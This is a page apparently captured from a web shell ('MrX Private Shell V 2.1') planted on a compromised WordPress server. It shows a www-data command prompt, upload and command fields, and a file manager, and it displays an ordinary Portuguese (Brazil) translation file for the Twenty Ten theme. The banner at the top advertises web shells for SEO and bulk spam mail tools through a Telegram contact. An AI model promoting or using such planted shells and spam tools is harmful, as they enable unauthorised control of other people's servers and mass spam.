__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
# Translation of Themes - Twenty Ten in Portuguese (Brazil)
# This file is distributed under the same license as the Themes - Twenty Ten package.
msgid ""
msgstr ""
"PO-Revision-Date: 2021-09-18 18:51:00+0000\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n > 1;\n"
"X-Generator: GlotPress/4.0.1\n"
"Language: pt_BR\n"
"Project-Id-Version: Themes - Twenty Ten\n"

#. Description of the theme
#: style.css
#, gp-priority: high
msgid "The 2010 theme for WordPress is stylish, customizable, simple, and readable -- make it yours with a custom menu, header image, and background. Twenty Ten supports six widgetized areas (two in the sidebar, four in the footer) and featured images (thumbnails for gallery posts and custom header images for posts and pages). It includes stylesheets for print and the admin Visual Editor, special styles for posts in the \"Asides\" and \"Gallery\" categories, and has an optional one-column page template that removes the sidebar."
msgstr "O tema 2010 para WordPress é classudo, personalizável, simples e legível -- torne-o seu com um menu personalizado, imagem de cabeçalho e de fundo. O Twenty Ten suporta seis áreas de widgets (duas na sidebar, quatro no rodapé) e imagens destacadas (miniaturas para posts de galerias e imagens de cabeçalho personalizadas para posts e páginas). Ele inclui folhas de estilos para impressão e para o Editor Visual, estilos especiais para posts nas categorias \"Notas\" e \"Galeria\", e possui um modelo opcional de página de uma coluna que remove a barra lateral."

#. Theme Name of the theme
#: style.css block-patterns.php:20
#, gp-priority: high
msgid "Twenty Ten"
msgstr "Twenty Ten"

#. translators: %s: Post title.
#: loop-attachment.php:27
msgid "Go to %s"
msgstr "Ir para %s"

#: functions.php:480
msgid "Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved."
msgstr "Seu comentário está aguardando moderação. Esta é uma pré-visualização, seu comentário ficará visível assim que for aprovado."

#. translators: %s: The post title.
#: comments.php:40
msgid "One Response to %s"
msgstr "Uma resposta para %s"

#: functions.php:112
msgid "White"
msgstr "Branco"

#: functions.php:107
msgid "Light Gray"
msgstr "Cinza claro"

#: functions.php:97
msgid "Black"
msgstr "Preto"

#: functions.php:92
msgid "Blue"
msgstr "Azul"

#: functions.php:102
msgid "Medium Gray"
msgstr "Cinza médio"

#. Template Name of the theme
msgid "One column, no sidebar"
msgstr "Uma coluna, sem barra lateral"

#. translators: %s: Tag title.
#: tag.php:18
msgid "Tag Archives: %s"
msgstr "Arquivo da tag: %s"

#: sidebar.php:36
msgid "Meta"
msgstr "Meta"

#: sidebar.php:29
msgid "Archives"
msgstr "Arquivos"

#: search.php:34
msgid "Sorry, but nothing matched your search criteria. Please try again with some different keywords."
msgstr "Nada coincide com seus critérios de busca. Tente outra vez com palavras-chave diferentes."

#: search.php:32
msgid "Nothing Found"
msgstr "Nada encontrado"

#. translators: %s: Search query.
#: search.php:19
msgid "Search Results for: %s"
msgstr "Resultados da busca por: %s"

#. translators: 1: CSS classes, 2: Category list.
#: loop.php:187
msgid "<span class=\"%1$s\">Tagged</span> %2$s"
msgstr "<span class=\"%1$s\">Com a tag </span> %2$s"

#. translators: 1: CSS classes, 2: Category list.
#: loop.php:174
msgid "<span class=\"%1$s\">Posted in</span> %2$s"
msgstr "<span class=\"%1$s\">Publicado em</span> %2$s"

#: loop.php:120
msgctxt "asides category slug"
msgid "asides"
msgstr "notas"

#: loop.php:113 loop.php:136 loop.php:193
msgid "% Comments"
msgstr "% Comentários"

#: loop.php:113 loop.php:136 loop.php:193
msgid "1 Comment"
msgstr "1 Comentário"

#: loop.php:113 loop.php:136 loop.php:193
msgid "Leave a comment"
msgstr "Deixe um comentário"

#: loop.php:110
msgid "View posts in the Gallery category"
msgstr "Ver posts na categoria Galeria"

#: loop.php:107 loop.php:110
msgid "More Galleries"
msgstr "Mais galerias"

#: loop.php:107
msgid "View Galleries"
msgstr "Ver Galerias"

#. translators: %s: Post title.
#: loop.php:92
msgid "Permalink to %s"
msgstr "Link permanente para %s"

#. translators: 1: HTML tag attributes, 2: Image count.
#: loop.php:90
msgid "This gallery contains <a %1$s>%2$s photo</a>."
msgid_plural "This gallery contains <a %1$s>%2$s photos</a>."
msgstr[0] "Esta galeria contém <a %1$s>%2$s foto</a>."
msgstr[1] "Esta galeria contém <a %1$s>%2$s fotos</a>."

#: loop.php:65 loop.php:104
msgctxt "gallery category slug"
msgid "gallery"
msgstr "galeria"

#: loop.php:35
msgid "Apologies, but no results were found for the requested archive. Perhaps searching will help find a related post."
msgstr "Nenhum resultado foi encontrado para o arquivo requisitado. Talvez fazer uma pesquisa lhe ajude a encontrar um post relacionado."

#: loop.php:26 loop.php:209
msgid "Newer posts <span class=\"meta-nav\">&rarr;</span>"
msgstr "Posts recentes <span class=\"meta-nav\">&rarr;</span>"

#: loop.php:25 loop.php:208
msgid "<span class=\"meta-nav\">&larr;</span> Older posts"
msgstr "<span class=\"meta-nav\">&larr;</span> Posts antigos"

#. translators: %s: Author display name.
#: loop-single.php:69
msgid "View all posts by %s <span class=\"meta-nav\">&rarr;</span>"
msgstr "Ver todos posts de %s <span class=\"meta-nav\">&rarr;</span>"

#: loop-single.php:26 loop-single.php:85
msgctxt "Next post link"
msgid "&rarr;"
msgstr "&rarr;"

#: loop-single.php:25 loop-single.php:84
msgctxt "Previous post link"
msgid "&larr;"
msgstr "&larr;"

#: loop-attachment.php:166 loop-page.php:36 loop-single.php:41 loop.php:161
msgid "Pages:"
msgstr "Páginas:"

#: loop-attachment.php:83 loop-attachment.php:176 loop-page.php:41
#: loop-single.php:79 loop.php:114 loop.php:137 loop.php:195
msgid "Edit"
msgstr "Editar"

#: loop-attachment.php:76
msgid "Link to full-size image"
msgstr "Link para imagem em tamanho real"

#. translators: %s: Image dimensions.
#: loop-attachment.php:72
msgid "Full size is %s pixels"
msgstr "O tamanho real é de %s pixels"

#. translators: 1: CSS classes, 2: Date.
#: loop-attachment.php:59
msgid "<span class=\"%1$s\">Published</span> %2$s"
msgstr "<span class=\"%1$s\">Publicado</span> %2$s"

#. translators: %s: Author display name.
#: loop-attachment.php:44
msgid "<span class=\"%1$s\">By</span> %2$s"
msgstr "<span class=\"%1$s\">Por</span> %2$s"

#. translators: %s: Title of parent post.
#: loop-attachment.php:32
msgid "<span class=\"meta-nav\">&larr;</span> %s"
msgstr "<span class=\"meta-nav\">&larr;</span> %s"

#: header.php:105
msgid "Skip to content"
msgstr "Pular para o conteúdo"

#. translators: %s: Page number.
#: header.php:36
msgid "Page %s"
msgstr "Página: %s"

#. translators: 3: Post permalink, 4: Post title.
#: functions.php:685
msgid "Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Adicionar o <a href=\"%3$s\" title=\"Link permanente para %4$s\" rel=\"bookmark\">link permanente</a> aos favoritos."

#. translators: 1: Category name, 3: Post permalink, 4: Post title.
#: functions.php:682
msgid "This entry was posted in %1$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Esta entrada foi publicada em %1$s. Adicione o <a href=\"%3$s\" title=\"Link permanente para %4$s\" rel=\"bookmark\">link permanente</a> aos seus favoritos."

#. translators: 1: Category name, 2: Tag name, 3: Post permalink, 4: Post
#. title.
#: functions.php:679
msgid "This entry was posted in %1$s and tagged %2$s. Bookmark the <a href=\"%3$s\" title=\"Permalink to %4$s\" rel=\"bookmark\">permalink</a>."
msgstr "Esta entrada foi publicada em %1$s e marcada com a tag %2$s. Adicione o <a href=\"%3$s\" title=\"Link permanente para %4$s\" rel=\"bookmark\">link permanente</a> aos seus favoritos."

#. translators: %s: Author display name.
#: functions.php:660 loop-attachment.php:50
msgid "View all posts by %s"
msgstr "Ver todos os posts de %s"

#. translators: 1: CSS classes, 2: Date, 3: Author display name.
#: functions.php:648
msgid "<span class=\"%1$s\">Posted on</span> %2$s <span class=\"meta-sep\">by</span> %3$s"
msgstr "<span class=\"%1$s\">Publicado em</span> %2$s <span class=\"meta-sep\">por</span> %3$s"

#: functions.php:609
msgid "Fourth Footer Widget Area"
msgstr "Quarta área de widgets do rodapé"

#: functions.php:596
msgid "Third Footer Widget Area"
msgstr "Terceira área de widgets do rodapé"

#: functions.php:583
msgid "Second Footer Widget Area"
msgstr "Segunda área de widgets do rodapé"

#: functions.php:572 functions.php:585 functions.php:598 functions.php:611
msgid "An optional widget area for your site footer."
msgstr "Uma área opcional de widgets para o rodapé de seu site."

#: functions.php:559
msgid "An optional secondary widget area, displays below the primary widget area in your sidebar."
msgstr "Uma área de widgets secundária opcional , mostrada abaixo da área de widgets primária em sua barra lateral."

#: functions.php:570
msgid "First Footer Widget Area"
msgstr "Primeira área de widgets do rodapé"

#: functions.php:557
msgid "Secondary Widget Area"
msgstr "Área de widgets secundária"

#: functions.php:546
msgid "Add widgets here to appear in your sidebar."
msgstr "Adicione widgets aqui para que apareçam em sua barra lateral."

#: functions.php:544
msgid "Primary Widget Area"
msgstr "Área de widgets primária"

#: functions.php:523
msgid "Pingback:"
msgstr "Pingback:"

#: functions.php:496 functions.php:523
msgid "(Edit)"
msgstr "(Editar)"

#. translators: 1: Date, 2: Time.
#: functions.php:492
msgid "%1$s at %2$s"
msgstr "%1$s às %2$s"

#: functions.php:478
msgid "Your comment is awaiting moderation."
msgstr "Seu comentário está aguardando moderação."

#. translators: %s: Author display name.
#: functions.php:471
msgid "%s <span class=\"says\">says:</span>"
msgstr "%s <span class=\"says\">disse:</span>"

#: functions.php:369 loop-attachment.php:162 loop.php:129 loop.php:157
msgid "Continue reading <span class=\"meta-nav\">&rarr;</span>"
msgstr "Continue lendo <span class=\"meta-nav\">&rarr;</span>"

#. translators: Header image description.
#: functions.php:261
msgid "Sunset"
msgstr "Por do sol"

#. translators: Header image description.
#: functions.php:255
msgid "Path"
msgstr "Caminho"

#. translators: Header image description.
#: functions.php:249
msgid "Inkwell"
msgstr "Pingos de tinta"

#. translators: Header image description.
#: functions.php:243
msgid "Forest Floor"
msgstr "Chão da floresta"

#. translators: Header image description.
#: functions.php:237
msgid "Fern"
msgstr "Samambaia"

#. translators: Header image description.
#: functions.php:231
msgid "Concave"
msgstr "Côncavos"

#. translators: Header image description.
#: functions.php:225
msgid "Cherry Blossoms"
msgstr "Cerejeira em flor"

#. translators: Header image description.
#: functions.php:219
msgid "Berries"
msgstr "Amoras"

#: functions.php:144
msgid "Primary Navigation"
msgstr "Navegação primária"

#. translators: %s: WordPress
#: footer.php:49
msgid "Proudly powered by %s."
msgstr "Orgulhosamente criado com %s."

#: footer.php:46
msgid "Semantic Personal Publishing Platform"
msgstr "Plataforma de Publicação Pessoal Semântica"

#: comments.php:88
msgid "Comments are closed."
msgstr "Os comentários estão fechados."

#: comments.php:57 comments.php:77
msgid "Newer Comments <span class=\"meta-nav\">&rarr;</span>"
msgstr "Comentários mais recentes <span class=\"meta-nav\">&rarr;</span>"

#: comments.php:56 comments.php:76
msgid "<span class=\"meta-nav\">&larr;</span> Older Comments"
msgstr "<span class=\"meta-nav\">&larr;</span> Comentários mais antigos"

#. translators: 1: The number of comments, 2: The post title.
#: comments.php:46
msgid "%1$s Response to %2$s"
msgid_plural "%1$s Responses to %2$s"
msgstr[0] "%1$s respostas para %2$s"
msgstr[1] "%1$s respostas para %2$s"

#: comments.php:18
msgid "This post is password protected. Enter the password to view any comments."
msgstr "Este post é protegido por senha. Digite a senha pra ver os comentários."

#. translators: %s: Category title.
#: category.php:18
msgid "Category Archives: %s"
msgstr "Arquivo da categoria: %s"

#. translators: %s: Author display name.
#: author.php:58 loop-single.php:61
msgid "About %s"
msgstr "Sobre %s"

#. translators: %s: Author display name.
#: author.php:32
msgid "Author Archives: %s"
msgstr "Arquivo do Autor: %s"

#: archive.php:45
msgid "Blog Archives"
msgstr "Arquivo do blog"

#. translators: %s: Date.
#: archive.php:43
msgctxt "yearly archives date format"
msgid "Y"
msgstr "Y"

#. translators: %s: Date.
#: archive.php:43
msgid "Yearly Archives: <span>%s</span>"
msgstr "Arquivo do ano: <span>%s</span>"

#. translators: %s: Date.
#: archive.php:40
msgctxt "monthly archives date format"
msgid "F Y"
msgstr "F Y"

#. translators: %s: Date.
#: archive.php:40
msgid "Monthly Archives: <span>%s</span>"
msgstr "Arquivo do mês: <span>%s</span>"

#. translators: %s: Date.
#: archive.php:37
msgid "Daily Archives: <span>%s</span>"
msgstr "Arquivo do dia: <span>%s</span>"

#: 404.php:18
msgid "Apologies, but the page you requested could not be found. Perhaps searching will help."
msgstr "A página solicitada não foi encontrada. Talvez a busca ajude."

#: 404.php:16 loop.php:33
msgid "Not Found"
msgstr "Não encontrado"

#. Author URI of the theme
#: style.css footer.php:46
#, gp-priority: low
msgid "https://wordpress.org/"
msgstr "https://br.wordpress.org/"

#. Author of the theme
#: style.css
#, gp-priority: low
msgid "the WordPress team"
msgstr "a equipe do WordPress"

#. Theme URI of the theme
#: style.css
#, gp-priority: low
msgid "https://wordpress.org/themes/twentyten/"
msgstr "https://wordpress.org/themes/twentyten/"

Filemanager

Name Type Size Permission Actions
.htaccess File 237 B 0644
twentyeleven-pt_BR.l10n.php File 13.46 KB 0644
twentyeleven-pt_BR.mo File 15.84 KB 0644
twentyeleven-pt_BR.po File 23.38 KB 0644
twentyten-pt_BR.l10n.php File 7.75 KB 0644
twentyten-pt_BR.mo File 9.38 KB 0644
twentyten-pt_BR.po File 13.55 KB 0644
twentytwentyfive-pt_BR.l10n.php File 45.51 KB 0644
twentytwentyfive-pt_BR.mo File 53.24 KB 0644
twentytwentyfive-pt_BR.po File 85.28 KB 0644
twentytwentyfour-pt_BR.mo File 38.11 KB 0644
twentytwentyfour-pt_BR.po File 52.43 KB 0644
twentytwentythree-pt_BR.mo File 6.59 KB 0644
twentytwentythree-pt_BR.po File 10.68 KB 0644
twentytwentytwo-pt_BR.mo File 9.9 KB 0644
twentytwentytwo-pt_BR.po File 16.49 KB 0644
Filemanager